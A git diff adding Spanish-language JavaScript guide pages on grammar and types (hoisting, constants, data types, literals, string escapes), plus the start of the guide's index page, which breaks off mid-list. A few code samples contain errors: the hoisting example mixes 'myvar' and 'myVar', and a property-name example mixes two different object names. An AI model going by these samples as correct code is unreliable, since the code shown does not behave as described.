+<h3 id="Elevación_de_variables_hoisting">Elevación de variables (<code>hoisting</code>)</h3>
+
+<p>Otra cosa inusual acerca de las variables en JavaScript es que puedes hacer referencia a una variable declarada más tarde, sin obtener una excepción.</p>
+
+<p>Este concepto se conoce como <strong>elevación.</strong> Las variables en JavaScript son, en cierto sentido, "elevadas" (o "izadas") a la parte superior de la función o declaración. Sin embargo, las variables que se elevan devuelven un valor de <code>undefined</code>. Entonces, incluso si la declaras e inicias después de usarla o hacer referencia a esta variable, todavía devuelve <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">/**
+ * Ejemplo 1
+ */
+console.log(x === undefined); // true
+var x = 3;
+
+/**
+ * Ejemplo 2
+ */
+// devolverá un valor de undefined
+var myvar = 'my value';
+
+(function() {
+  console.log(myVar); // undefined
+  var myvar = 'valor local';
+})();
+</pre>
+
+<p>Los ejemplos anteriores se interpretarán de la misma manera que:</p>
+
+<pre class="brush: js notranslate">/**
+ * Ejemplo 1
+ */
+var x;
+console.log(x === undefined); // true
+x = 3;
+
+/**
+ * Ejemplo 2
+ */
+var myvar = 'my value';
+
+(function() {
+  var myVar;
+  console.log(myVar); // undefined
+  myvar = 'valor local';
+})();
+</pre>
+
+<p>Debido a la elevación, todas las declaraciones <code>var</code> en una función se deben colocar lo más cerca posible de la parte superior de la función. Esta buena práctica aumenta la claridad del código.</p>
+
+<p>En ECMAScript 2015, <code>let</code> y <code>const</code> <strong>se elevan pero no se inician</strong>. Hacer referencia a la variable en el bloque antes de la declaración de la variable da como resultado un {{JSxRef("ReferenceError")}}, porque la variable está en una "zona muerta temporal" desde el inicio del bloque hasta que se procesa la declaración.</p>
+
+<pre class="brush: js notranslate">console.log(x); // ReferenceError
+let x = 3;</pre>
+
+<h3 id="Elevación_de_función">Elevación de función</h3>
+
+<p>En el caso de las funciones, solo se incluyen <em>declaraciones</em> de función, pero <em>no</em> las <em>expresiones</em> de la función.</p>
+
+<pre class="brush: js notranslate">/* Declaración de función */
+
+foo(); // "bar"
+
+function foo() {
+  console.log('bar');
+}
+
+
+/* Expresión de función */
+
+baz(); // TypeError: baz no es una función
+
+var baz = function() {
+  console.log('bar2');
+};
+</pre>
+
+<h3 id="Variables_globales">Variables globales</h3>
+
+<p>Las variables globales, de hecho, son propiedades del <em>objeto global</em>.</p>
+
+<p>En las páginas web, el objeto global es {{domxref("window")}}, por lo que puedes establecer y acceder a variables globales utilizando la sintaxis <code>window.<var>variable</var></code>.</p>
+
+<p>En consecuencia, puedes acceder a las variables globales declaradas en una «ventana» o «marco» desde otra «ventana» o «marco» especificando el nombre de la <code>window</code> o el <code>frame</code>. Por ejemplo, si declaras una variable llamada <code>phoneNumber</code> en un documento, puedes hacer referencia a esta variable desde un <code>iframe</code> como <code>parent.phoneNumber</code>.</p>
+
+<h3 id="Constantes">Constantes</h3>
+
+<p>Puedes crear una constante de solo lectura con nombre con la palabra clave {{JSxRef("Sentencias/const", "const")}}.</p>
+
+<p>La sintaxis de un identificador de constante es la misma que la de cualquier identificador de variable: debe comenzar con una letra, un subrayado o un signo de dólar (<code>$</code>) y puede contener caracteres alfabéticos, numéricos o de subrayado.</p>
+
+<pre class="brush: js notranslate">const PI = 3.14;
+</pre>
+
+<p>Una constante no puede cambiar el valor a través de la asignación o volver a declararla mientras se ejecuta el script. Se debe iniciar a un valor.</p>
+
+<p>Las reglas de ámbito para las constantes son las mismas que las de ámbito de bloque de las variables <code>let</code>. Si se omite la palabra clave <code>const</code>, se asume que el identificador representa una variable.</p>
+
+<p>No puedes declarar una constante con el mismo nombre que una función o una variable en el mismo ámbito. Por ejemplo:</p>
+
+<pre class="brush: js notranslate">// ESTO CAUSARÁ UN ERROR
+function f() {};
+const f = 5;
+
+// ESTO TAMBIÉN CAUSARÁ UN ERROR
+function f() {
+  const g = 5;
+  var g;
+
+  // expresiones
+}
+</pre>
+
+<p>Sin embargo, las propiedades de los objetos asignados a constantes no son protegidas, es por esto que la siguiente declaración se ejecuta sin problemas.</p>
+
+<pre class="brush: js notranslate">const MY_OBJECT = {'key': 'value'};
+MY_OBJECT.key = 'otherValue';</pre>
+
+<p>Además, el contenido de los arreglos tampoco está protegido cuando es asignado a una constante, es por esto que la siguiente declaración se ejecuta sin problemas.</p>
+
+<pre class="brush: js notranslate">const MY_ARRAY = ['HTML','CSS'];
+MY_ARRAY.push('JAVASCRIPT');
+console.log(MY_ARRAY); // registra ['HTML','CSS','JAVASCRIPT'];
+</pre>
+
+<h2 id="Estructuras_y_tipos_de_datos">Estructuras y tipos de datos</h2>
+
+<h3 id="Tipos_de_datos">Tipos de datos</h3>
+
+<p>El último estándar ECMAScript define ocho tipos de datos:</p>
+
+<ul>
+ <li>Siete tipos de datos que son {{Glossary("Primitive", "primitivos")}}:
+  <ol>
+   <li>{{Glossary("Boolean", "Booleano")}}. <code>true</code> y <code>false</code>.</li>
+   <li>{{Glossary("null")}}. Una palabra clave especial que denota un valor nulo. (Dado que JavaScript distingue entre mayúsculas y minúsculas, <code>null</code> no es lo mismo que <code>Null</code>, <code>NULL</code> o cualquier otra variante).</li>
+   <li>{{Glossary("undefined")}}. Una propiedad de alto nivel cuyo valor no está definido.</li>
+   <li>{{Glossary("Number")}}. Un número entero o un número con coma flotante. Por ejemplo: <code>42</code> o <code>3.14159</code>.</li>
+   <li>{{Glossary("BigInt")}}. Un número entero con precisión arbitraria. Por ejemplo: <code>9007199254740992n</code>.</li>
+   <li>{{Glossary("String")}}. Una secuencia de caracteres que representan un valor de texto. Por ejemplo: "Hola"</li>
+   <li>{{Glossary("Symbol")}} (nuevo en ECMAScript 2015). Un tipo de dato cuyas instancias son únicas e inmutables</li>
+  </ol>
+ </li>
+ <li>y {{Glossary("Object")}}</li>
+</ul>
+
+<p>Aunque estos tipos de datos son una cantidad relativamente pequeña, permiten realizar funciones útiles con tus aplicaciones. Los otros elementos fundamentales en el lenguaje son los {{JSxRef("Object", "Objetos", "", 1)}} y las {{JSxRef("Function", "funciones", "", 1)}}. Puedes pensar en objetos como contenedores con nombre para los valores, y las funciones como procedimientos que puedes programar en tu aplicación.</p>
+
+<h3 id="Conversión_de_tipos_de_datos">Conversión de tipos de datos</h3>
+
+<p>JavaScript es un lenguaje <em>tipado dinámicamente</em>. Esto significa que no tienes que especificar el tipo de dato de una variable cuando la declaras. También significa que los tipos de datos se convierten automáticamente según sea necesario durante la ejecución del script.</p>
+
+<p>Así, por ejemplo, puedes definir una variable de la siguiente manera:</p>
+
+<pre class="brush: js notranslate">var answer = 42;
+</pre>
+
+<p>Y luego, puedes asignarle una cadena a esa misma variable, por ejemplo:</p>
+
+<pre class="brush: js notranslate">answer = 'Gracias por todo el pescado...';
+</pre>
+
+<p>Debido a que JavaScript se tipifica dinámicamente, esta asignación no genera un mensaje de error.</p>
+
+<h3 id="Números_y_el_operador">Números y el operador '+'</h3>
+
+<p>En expresiones que involucran valores numéricos y de cadena con el operador <code>+</code>, JavaScript convierte los valores numéricos en cadenas. Por ejemplo, considera las siguientes declaraciones:</p>
+
+<pre class="brush: js notranslate">x = 'La respuesta es ' + 42 // "La respuesta es 42"
+y = 42 + ' es la respuesta' // "42 es la respuesta"
+</pre>
+
+<p>Con todos los demás operadores, JavaScript <em>no</em> convierte valores numéricos en cadenas. Por ejemplo:</p>
+
+<pre class="brush: js notranslate">'37' - 7 // 30
+'37' + 7 // "377"
+</pre>
+
+<h3 id="Convertir_texto_a_números">Convertir texto a números</h3>
+
+<p>En el caso que un valor representando un número está en memoria como texto, hay métodos para la conversión.</p>
+
+<ul>
+ <li id="parseInt()_and_parseFloat()">{{JSxRef("parseInt", "parseInt()")}}</li>
+ <li>{{JSxRef("parseFloat", "parseFloat()")}}</li>
+</ul>
+
+<p><code>parseInt</code> solo devuelve números enteros, por lo que su uso se reduce para decimales.</p>
+
+<div class="blockIndicator note">
+<p>Además, una práctica recomendada para <code>parseInt</code> es incluir siempre el parámetro <em>radix</em>. El parámetro <code>radix</code> se utiliza para especificar qué sistema numérico se utilizará.</p>
+</div>
+
+<pre class="brush: js notranslate">parseInt('101', 2) // 5</pre>
+
+<p>Un método alternativo para recuperar un número de una cadena es con el operador <code>+</code> (más unario):</p>
+
+<pre class="brush: js notranslate">'1.1' + '1.1' // '1.11.1'
+(+'1.1') + (+'1.1') // 2.2
+// Nota: los paréntesis se agregan para mayor claridad, no son necesarios.</pre>
+
+<h2 id="Literales">Literales</h2>
+
+<p>Los <em>literales</em> representan valores en JavaScript. Estos son valores fijos, no variables, que <em>literalmente</em> proporcionas en tu script. Esta sección describe los siguientes tipos de literales:</p>
+
+<ul>
+ <li>{{anch("Arreglos_literales", "Arreglos literales")}}</li>
+ <li>{{anch("Booleanos_literales", "Booleanos literales")}}</li>
+ <li>{{anch("Literales_de_coma_flotante", "Literales de coma flotante")}}</li>
+ <li>{{anch("Literales_numericos", "Literales numéricos")}}</li>
+ <li>{{anch("Objetos_literales", "Objetos literales")}}</li>
+ <li>{{anch("RegExp_literales", "RegExp literales")}}</li>
+ <li>{{anch("Cadenas_literales", "Cadenas literales")}}</li>
+</ul>
+
+<h3 id="Arreglos_literales">Arreglos literales</h3>
+
+<p>Un arreglo literal es una lista de cero o más expresiones, cada una de las cuales representa un elemento del arreglo, encerrada entre corchetes (<code>[]</code>). Cuando creas un arreglo utilizando un arreglo literal, se inicia con los valores especificados como sus elementos, y su <code>length</code> se establece en el número de argumentos especificado.</p>
+
+<p>El siguiente ejemplo crea el arreglo <code>coffees</code> con tres elementos y <code>length</code> de tres:</p>
+
+<pre class="brush: js notranslate">let coffees = ['French Roast', 'Colombian', 'Kona'];
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Un arreglo literal es un tipo de <em>iniciador de objeto</em>. Consulta {{JSxRef("../Guide/Trabajando_con_objectos", "Uso de iniciadores de objetos", "#Uso_de_iniciadores_de_objeto")}}.</p>
+</div>
+
+<p>Si creas un arreglo utilizando un literal en un script de nivel superior, JavaScript interpreta el arreglo cada vez que evalúa la expresión que contiene el arreglo literal. Además, cada vez que llamas a una función se crea un literal usado en ella.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Los arreglos literales también son objetos <code>Array</code>. Consulta {{JSxRef("Array")}} y {{JSxRef("../Guide/colecciones_indexadas", "Colecciones indexadas")}} para obtener detalles sobre los objetos <code>Array</code>.</p>
+</div>
+
+<h4 id="Comas_adicionales_en_arreglos_literales">Comas adicionales en arreglos literales</h4>
+
+<p>No tienes que especificar todos los elementos en un arreglo literal. Si colocas dos comas en una fila, el arreglo completa el valor <code>undefined</code> para los elementos no especificados. El siguiente ejemplo crea el arreglo <code>fish</code>:</p>
+
+<pre class="brush: js notranslate">let fish = ['Lion', , 'Angel'];
+</pre>
+
+<p>Este arreglo tiene dos elementos con valores y un elemento vacío:</p>
+
+<ul>
+ <li><code>fish[0]</code> es "Lion"</li>
+ <li><code>fish[1]</code> es <code>undefined</code></li>
+ <li><code>fish[2]</code> es "Angel"</li>
+</ul>
+
+<p>Si incluyes una coma al final de la lista de los elementos, la coma es ignorada.</p>
+
+<p>En el siguiente ejemplo, el <code>length</code> del arreglo es tres. No hay <code>myList[3]</code>. Todas las demás comas de la lista indican un nuevo elemento.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Las comas finales pueden crear errores en versiones anteriores del navegador y se recomienda eliminarlas.</p>
+</div>
+
+<pre class="brush: js notranslate">let myList = ['home', , 'school', ];
+</pre>
+
+<p>En el siguiente ejemplo, el <code>length</code> del arreglo es cuatro, y faltan <code>myList[0]</code> y <code>myList[2]</code>.</p>
+
+<pre class="brush: js notranslate">let myList = [ ,'home', , 'school'];
+</pre>
+
+<p>En el siguiente ejemplo, el <code>length</code> del arreglo es cuatro, y faltan <code>myList[1]</code> y <code>myList[3]</code>. <strong>Solo se ignora la última coma.</strong></p>
+
+<pre class="brush: js notranslate">let myList = ['home', , 'school', , ];
+</pre>
+
+<p>Entender el comportamiento de las comas adicionales es importante para comprender JavaScript como lenguaje.</p>
+
+<p>Sin embargo, al escribir tu propio código, debes declarar explícitamente los elementos que faltan como <code>undefined</code>. Hacerlo así aumenta la claridad y la facilidad de mantenimiento de tu código.</p>
+
+<h3 id="Booleanos_literales">Booleanos literales</h3>
+
+<p>El tipo booleano tiene dos valores literales: <code>true</code> y <code>false</code>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Ten cuidado</strong>: No confundas los valores booleanos primitivos <code>true</code> y <code>false</code> con los valores <code>true</code> y <code>false</code> del objeto {{JSxRef("Boolean")}}.</p>
+
+<p>El objeto <code>Boolean</code> es un contenedor alrededor del tipo de dato primitivo <code>Boolean</code>. Consulta {{JSxRef("Boolean")}} para obtener más información.</p>
+</div>
+
+<h3 id="Literales_numéricos">Literales numéricos</h3>
+
+<p>Los tipos {{JSxRef("Number")}} y {{JSxRef("BigInt")}} se pueden escribir en decimal (base 10), hexadecimal (base 16), octal (base 8) y binario (base 2).</p>
+
+<ul>
+ <li>Un literal numérico <em>decimal</em> es una secuencia de dígitos sin un <code>0</code> (cero) inicial.</li>
+ <li>Un <code>0</code> (cero) inicial en un literal numérico, o un <code>0o</code> inicial (o <code>0O</code>) indica que está en <em>octal</em>. Los números octales pueden incluir solo los dígitos <code>0</code>-<code>7</code>.</li>
+ <li>Un <code>0x</code> inicial (o <code>0X</code>) indica un tipo numérico <em>hexadecimal</em>. Los números hexadecimales pueden incluir los dígitos (<code>0</code>-<code>9</code>) y las letras <code>a</code>-<code>f</code> y <code>A</code>-<code>F</code>. (Si un caracter está en mayúscula o minúscula no cambia su valor. Por lo tanto: <code>0xa</code> = <code>0xA</code> = <code>10</code> y <code>0xf</code> = <code>0xF</code> = <code>15</code>).</li>
+ <li>
+  <p>Un <code>0b</code> inicial (o <code>0B</code>) indica un literal numérico <em>binario</em>. Los números binarios solo pueden incluir los dígitos <code>0</code> y <code>1</code>.</p>
+ </li>
+</ul>
+
+<p>Aquí tienes algunos ejemplos de literales numéricos:</p>
+
+<pre class="eval notranslate">0, 117, -345, 123456789123456789n             (decimal, base 10)
+015, 0001, -0o77, 0o777777777777n             (octal, base 8)
+0x1123, 0x00111, -0xF1A7, 0x123456789ABCDEFn  (hexadecimal, "hex" o base 16)
+0b11, 0b0011, -0b11, 0b11101001010101010101n  (binario, base 2)
+</pre>
+
+<p>Para obtener más información, consulta {{JSxRef("Gramatica_lexica", "Literales numéricos en la referencia gramatical léxica", "#Literales_numericos")}}.</p>
+
+<h3 id="Literales_de_coma_flotante">Literales de coma flotante</h3>
+
+<p>Un literal de coma flotante puede tener las siguientes partes:</p>
+
+<ul>
+ <li>Un entero decimal que puede tener un signo (precedido por "<code>+</code>" o "<code>-</code>"),</li>
+ <li>Un punto decimal ("<code>.</code>"),</li>
+ <li>Una fracción (otro número decimal),</li>
+ <li>Un exponente.</li>
+</ul>
+
+<p>La parte del exponente es una "<code>e</code>" o "<code>E</code>" seguida de un número entero, que puede tener signo (precedido por "<code>+</code>" o "<code>-</code>"). Un literal de coma flotante debe tener al menos un dígito y un punto decimal o "<code>e</code>" (o "<code>E</code>").</p>
+
+<p>Específicamente, la sintaxis es:</p>
+
+<pre class="eval notranslate">[(+|-)][dígitos].[dígitos][(E|e)[(+|-)]dígitos]
+</pre>
+
+<p>Por ejemplo:</p>
+
+<pre class="eval notranslate">3.1415926
+-.123456789
+-3.1E+12
+.1e-23
+</pre>
+
+<h3 id="Objetos_literales">Objetos literales</h3>
+
+<p>Un objeto literal es una lista de cero o más pares de nombres de propiedad y valores asociados de un objeto, entre llaves (<code>{}</code>).</p>
+
+<div class="blockIndicator warning">
+<p><strong>¡No uses un objeto literal al comienzo de una declaración! </strong>Esto dará lugar a un error (o no se comportará como esperabas), porque la <code>{</code> se interpretará como el comienzo de un bloque.</p>
+</div>
+
+<p>El siguiente es un ejemplo de un objeto literal. El primer elemento del objeto <code>car</code> define una propiedad, <code>myCar</code>, y le asigna una nueva cadena, "<code>Saturn</code>"; al segundo elemento, la propiedad <code>getCar</code>, se le asigna inmediatamente el resultado de invocar a la función <code>(carTypes("Honda"));</code> el tercer elemento, la propiedad <code>special</code>, utiliza una variable (<code>sales</code>) existente.</p>
+
+<pre class="brush: js notranslate">var sales = 'Toyota';
+
+function carTypes(name) {
+  if (name === 'Honda') {
+    return name;
+  } else {
+    return "Lo sentimos, no vendemos " + name + ".";
+  }
+}
+
+var car = { myCar: 'Saturn', getCar: carTypes('Honda'), special: sales };
+
+console.log(car.myCar);   // Saturn
+console.log(car.getCar);  // Honda
+console.log(car.special); // Toyota
+</pre>
+
+<p>Además, puedes utilizar un literal numérico o de cadena para el nombre de una propiedad o anidar un objeto dentro de otro. El siguiente ejemplo usa estas opciones.</p>
+
+<pre class="brush: js notranslate">var car = { manyCars: {a: 'Saab', b: 'Jeep'}, 7: 'Mazda' };
+
+console.log(car.manyCars.b); // Jeep
+console.log(car[7]); // Mazda
+</pre>
+
+<p>Los nombres de propiedad de los objetos pueden ser cualquier cadena, incluida la cadena vacía. Si el nombre de la propiedad no fuera un {{Glossary("Identifier", "identificador")}} o un número JavaScript válido, debe ir entre comillas.</p>
+
+<p>No se puede acceder a los nombres de propiedad que no sean identificadores válidos como un punto (<code>.</code>), propiedad, pero <em>se pueden</em> acceder y configurar con la notación tipo arreglo ("<code>[]</code>").</p>
+
+<pre class="brush: js notranslate">var unusualPropertyNames = {
+  '': 'Una cadena vacía',
+  '!': '¡Bang!'
+}
+console.log(inusualPropertyNames.'');   // SyntaxError: Cadena inesperada
+console.log(inusualPropertyNames['']);  // Una cadena vacía
+console.log(unusualPropertyNames.!);    // SyntaxError: símbolo inesperado !
+console.log(unusualPropertyNames['!']); // ¡Bang!</pre>
+
+<h4 id="Objetos_literales_mejorados">Objetos literales mejorados</h4>
+
+<p>En ES2015, los objeto literales se amplían para admitir la configuración del prototipo en la construcción, la abreviatura para asignaciones <code>foo: foo</code>, la definición de métodos, la realización de llamadas a <code>super</code> y el cálculo de nombres de propiedades con expresiones.</p>
+
+<p>Juntos, estos también acercan los objetos literales y las declaraciones de clase, y permiten que el diseño basado en objetos se beneficie de algunas de las mismas conveniencias.</p>
+
+<pre class="brush: js notranslate">var obj = {
+    // __proto__
+    __proto__: theProtoObj,
+    // Abreviatura de "handler: handler"
+    handler,
+    // Métodos
+    toString() {
+     // Llamadas a super
+     return 'd ' + super.toString();
+    },
+    // Nombres de propiedad calculados (dinámicos)
+    [ 'prop_' + (() =&gt; 42)() ]: 42
+};
+</pre>
+
+<h3 id="Expresiones_regulares_«RegExp»_literales">Expresiones regulares («RegExp») literales</h3>
+
+<p>Un expresión regular literal (que se define en detalle {{JSxRef("../Guide/Regular_Expressions", "más adelante")}}) es un patrón incluido entre barras. El siguiente es un ejemplo de una expresión regular literal.</p>
+
+<pre class="brush: js notranslate">var re = /ab+c/;</pre>
+
+<h3 id="Cadenas_literales">Cadenas literales</h3>
+
+<p>Una cadena literal consta de cero o más caracteres encerrados entre comillas dobles (<code>"</code>) o simples (<code>'</code>). Una cadena debe estar delimitada por comillas del mismo tipo (es decir, ambas comillas simples o, ambas comillas dobles).</p>
+
+<p>Los siguientes son ejemplos de cadenas literales:</p>
+
+<pre class="brush: js notranslate">'foo'
+"bar"
+'1234'
+"una linea \n otra linea"
+"John's cat"
+</pre>
+
+<p>Puedes llamar a cualquiera de los métodos del objeto {{JSxRef("String")}} en un valor de cadena literal. JavaScript automáticamente convierte la cadena literal en un objeto <code>String</code> temporal, llama al método y luego descarta el objeto <code>String</code> temporal. También puedes usar la propiedad <code>String.length</code> con una cadena literal:</p>
+
+<pre class="brush: js notranslate">// Imprimirá el número de símbolos en la cadena, incluidos los espacios en blanco.
+console.log("John's cat".length)  // En este caso, 10.
+</pre>
+
+<p>En ES2015, también están disponibles las <em>plantillas literales</em>. Las plantillas literales están encerradas por la comilla invertida (<code>`</code>) ({{Interwiki("wikipedia", "Acento_grave")}}) en lugar de comillas simples o dobles.</p>
+
+<p>Las cadenas de las plantillas literales proporcionan azúcar sintáctica para construir cadenas. (Esto es similar a las funciones de interpolación de cadenas en Perl, Python y más).</p>
+
+<p>Opcionalmente, puedes agregar una etiqueta para permitirte personalizar la construcción de la cadena, evitando ataques de inyección o construyendo estructuras de datos de nivel superior a partir del contenido de la cadena.</p>
+
+<pre class="brush: js notranslate">// Creación de cadenas literales básicas
+`en JavaScript '\n' es un avance de línea.`
+
+// Cadenas multilínea
+`En JavaScript, las cadenas de plantilla pueden ocupar
+ varias líneas, pero las cadenas entrecomillas dobles o
+ simples no pueden.`
+
+// Interpolación de cadenas
+var name = 'Bob', time = 'today';
+`Hola ${name}, ¿cómo estás ${time}?`
+
+// Construye un prefijo de petición HTTP utilizado para interpretar los reemplazos y la construcción
+POST`http://foo.org/bar?a=${a}&amp;b=${b}
+     Content-Type: application/json
+     X-Credentials: ${credentials}
+     { "foo": ${foo},
+       "bar": ${bar}}`(myOnReadyStateChangeHandler);</pre>
+
+<p>Debes usar cadenas literales a menos que específicamente necesites usar un objeto <code>String</code>. Consulta {{JSxRef("String")}} para obtener detalles sobre los objetos <code>String</code>.</p>
+
+<h4 id="Uso_de_caracteres_especiales_en_cadenas">Uso de caracteres especiales en cadenas</h4>
+
+<p>Adicionalmente a los caracteres normales, también puedes incluir caracteres especiales en las cadenas, como muestra el siguiente ejemplo:</p>
+
+<pre class="brush: js notranslate">"una linea \n otra linea"
+</pre>
+
+<p>La siguiente tabla enumera los caracteres especiales que se pueden usar en una cadena JavaScript.</p>
+
+<table class="standard-table">
+ <caption>Tabla 2.1 caracteres especiales JavaScript</caption>
+ <thead>
+  <tr>
+   <th scope="col">Caracter</th>
+   <th scope="col">Significado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>\0</code></td>
+   <td>Byte nulo</td>
+  </tr>
+  <tr>
+   <td><code>\b</code></td>
+   <td>Retroceso</td>
+  </tr>
+  <tr>
+   <td><code>\f</code></td>
+   <td>Avance de Página</td>
+  </tr>
+  <tr>
+   <td><code>\n</code></td>
+   <td>Nueva Línea</td>
+  </tr>
+  <tr>
+   <td><code>\r</code></td>
+   <td>Retorno de carro</td>
+  </tr>
+  <tr>
+   <td><code>\t</code></td>
+   <td>Tabulación</td>
+  </tr>
+  <tr>
+   <td><code>\v</code></td>
+   <td>Tabulación vertical</td>
+  </tr>
+  <tr>
+   <td><code>\'</code></td>
+   <td>Apóstrofo o comilla simple</td>
+  </tr>
+  <tr>
+   <td><code>\"</code></td>
+   <td>Comilla doble</td>
+  </tr>
+  <tr>
+   <td><code>\\</code></td>
+   <td>Caracter de barra invertida</td>
+  </tr>
+  <tr>
+   <td><code>\<em>XXX</em></code></td>
+   <td>El caracter con la codificación Latin-1 especificada por hasta tres dígitos octales <em>XXX</em> entre <code>0</code> y <code>377</code>.<br>
+    Por ejemplo, <code>\251</code> es la secuencia octal del símbolo de copyright.</td>
+  </tr>
+  <tr>
+  </tr>
+  <tr>
+   <td><code>\x<em>XX</em></code></td>
+   <td>
+    <p>El caracter con la codificación Latin-1 especificada por los dos dígitos hexadecimales <em>XX</em> entre <code>00</code> y <code>FF</code>.<br>
+     Por ejemplo, <code>\xA9</code> es la secuencia hexadecimal del símbolo de copyright.</p>
+   </td>
+  </tr>
+  <tr>
+  </tr>
+  <tr>
+   <td><code>\u<em>XXXX</em></code></td>
+   <td>El caracter Unicode especificado por los cuatro dígitos hexadecimales <em>XXXX</em>.<br>
+    Por ejemplo, <code>\u00A9</code> es la secuencia Unicode para el símbolo de copyright. Consulta {{JSxRef("Gramatica_lexica", "Secuencias de escape Unicode", "#Cadenas_literales")}}.</td>
+  </tr>
+  <tr>
+   <td><code>\u<em>{XXXXX}</em></code></td>
+   <td>El punto de código escape Unicode.<br>
+    Por ejemplo, <code>\u{2F804}</code> es el mismo que el escape Unicode simple <code>\uD87E\uDC04</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Escapar_caracteres">Escapar caracteres</h4>
+
+<p>Para caracteres no enumerados en la tabla, la precedencia de la barra inversa es ignorada, pero su uso esta desaconsejado y se debe evitar.</p>
+
+<p>Puedes insertar comillas dobles dentro de una cadena anteponiendo un caracter de barra inversa. Esto se conoce como <em>escapar</em> las comillas. Por ejemplo:</p>
+
+<pre class="brush: js notranslate">var quote = "Él leyó \"La cremación de Sam McGee\" de R.W. Service.";
+console.log(quote);
+</pre>
+
+<p>El resultado de esto sería:</p>
+
+<pre class="eval notranslate">El leyó "La cremación de Sam McGee" de R.W. Service.
+</pre>
+
+<p>Para incluir una barra invertida literal dentro de una cadena, debes escapar el caracter de barra invertida. Por ejemplo, para asignar la ruta del archivo <code>c:\temp</code> a una cadena, usa lo siguiente:</p>
+
+<pre class="brush: js notranslate">var home = 'c:\\temp';
+</pre>
+
+<p>También puedes escapar los saltos de línea precediéndolos con una barra invertida. La barra invertida y el salto de línea se eliminan del valor de la cadena.</p>
+
+<pre class="brush: js notranslate">var str = 'esta cadena \
+se divide \
+en múltiples \
+líneas.'
+console.log(str);   // esta cadena se divide en múltiples líneas.
+</pre>
+
+<p>Aunque JavaScript no tiene sintaxis "«heredoc»" se puede acercar insertando una barra inversa y un salto de linea al final de cada linea:</p>
+
+<pre class="brush: js notranslate">var poem =
+'Las rosas son rojas,\n\
+Las violetas son azules.\n\
+El azúcar es dulce,\n\
+y foo también.'
+</pre>
+
+<p>ECMAScript 2015 introduce un nuevo tipo de literal, a saber, {{JSxRef("template_strings", "plantillas literales")}}. Esto permite muchas nuevas funciones, ¡incluidas cadenas multilínea!</p>
+
+<pre class="brush: js notranslate" dir="rtl">var poem =
+`Las rosas son rojas,
+Las violetas son azules.
+El azúcar es dulce,
+y foo también.`</pre>
+
+<h2 id="Mas_información">Mas información</h2>
+
+<p>Este capítulo se enfoca en la sintaxis básica para los tipos y las declaraciones. Para aprender mas acerca de las construcciones en el lenguaje JavaScript, ve también los siguientes capítulos en esta guía:</p>
+
+<ul>
+ <li>{{JSxRef("../Guide/Control_de_flujo_y_manejo_de_errores", "Control de flujo y manejo de errores")}}</li>
+ <li>{{JSxRef("../Guide/Bucles_e_iteracion", "Bucles e iteración")}}</li>
+ <li>{{JSxRef("../Guide/Funciones", "Funciones")}}</li>
+ <li>{{JSxRef("../Guide/Expressions_and_Operators", "Expresiones y operadores")}}</li>
+</ul>
+
+<p>En el próximo capítulo, veremos las construcciones de control de flujo y el manejo de errores.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</p>
diff --git a/files/es/web/javascript/guide/index.html b/files/es/web/javascript/guide/index.html
new file mode 100644
index 0000000000..18a98a6771
--- /dev/null
+++ b/files/es/web/javascript/guide/index.html
@@ -0,0 +1,138 @@
+---
+title: Guía de JavaScript
+slug: Web/JavaScript/Guide
+tags:
+  - Guía
+  - JavaScript
+  - 'l10n:priority'
+translation_of: Web/JavaScript/Guide
+---
+<div>{{jsSidebar("JavaScript Guide")}}</div>
+
+<p class="summary">La Guía de JavaScript te muestra cómo usar {{JSxRef("../../JavaScript", "JavaScript")}} y te brinda una perspectiva general del lenguaje. Si necesitas información exhaustiva sobre una característica del lenguaje, consulta la {{JSxRef("../Referencia", "Referencia de JavaScript")}}.</p>
+
+<h2 id="Capítulos">Capítulos</h2>
+
+<p>Esta guía se divide en varios capítulos:</p>
+
+<ul class="card-grid">
+ <li><span>{{JSxRef("../Guide/Introducción", "Introducción")}}</span>
+
+  <p>{{JSxRef("../Guide/Introducción", "Acerca de esta guía", "#Donde_encontrar_informacion_sobre_JavaScript")}}<br>
+   {{JSxRef("../Guide/Introducción", "Acerca de JavaScript", "#Que_es_JavaScript")}}<br>
+   {{JSxRef("../Guide/Introducción", "JavaScript y Java", "#JavaScript_y_Java")}}<br>
+   {{JSxRef("../Guide/Introducción", "ECMAScript", "#JavaScript_y_la_especificacion_ECMAScript")}}<br>
+   {{JSxRef("../Guide/Introducción", "Herramientas", "#Como_empezar_con_JavaScript")}}
+   {{JSxRef("../Guide/Introducción", "Hola, Mundo", "#Hola_mundo")}}</p>
+ </li>
+ <li><span>{{JSxRef("../Guide/Grammar_and_types", "Gramática y tipos")}}</span>
+  <p>{{JSxRef("../Guide/Grammar_and_types", "Sintaxis básica y comentarios", "#Conceptos_basicos")}}<br>
+   {{JSxRef("../Guide/Grammar_and_types", "Declaración de variables", "#Declaraciones")}}<br>
+   {{JSxRef("../Guide/Grammar_and_types", "Ámbito de variables", "#Ambito_de_variables")}}<br>
+   {{JSxRef("../Guide/Grammar_and_types", "Elevación de variables (hoisting)", "Elevacion_de_variables")}}<br>
+   {{JSxRef("../Guide/Grammar_and_types", "Estructuras y tipos de datos", "#Estructuras_y_tipos_de_datos")}}<br>
+   {{JSxRef("../Guide/Grammar_and_types", "Literales", "#Literales")}}</p>
+ </li>
+ <li><span>{{JSxRef("../Guide/Control_de_flujo_y_manejo_de_errores", "Control de flujo y manejo de errores")}}</span>
+  <p>{{JSxRef("../Guide/Control_de_flujo_y_manejo_de_errores", "if...else", "#delacacion_if...else")}}<br>
+   {{JSxRef("../Guide/Control_de_flujo_y_manejo_de_errores", "switch", "#declaracion_switch")}}<br>
+   {{JSxRef("../Guide/Control_de_flujo_y_manejo_de_errores", "try/catch/throw", "Declaraciones_para_el_manejo_de_excepciones")}}<br>
+   {{JSxRef("../Guide/Control_de_flujo_y_manejo_de_errores", "Objetos Error", "#Utilizar_objetos_error")}}</p>
+ </li>
+ <li><span>{{JSxRef("../Guide/Bucles_e_iteracion", "Bucles e iteración")}}</span>
+  <p>{{JSxRef("../Guide/Bucles_e_iteracion", "for", "#instruccion_for")}}<br>
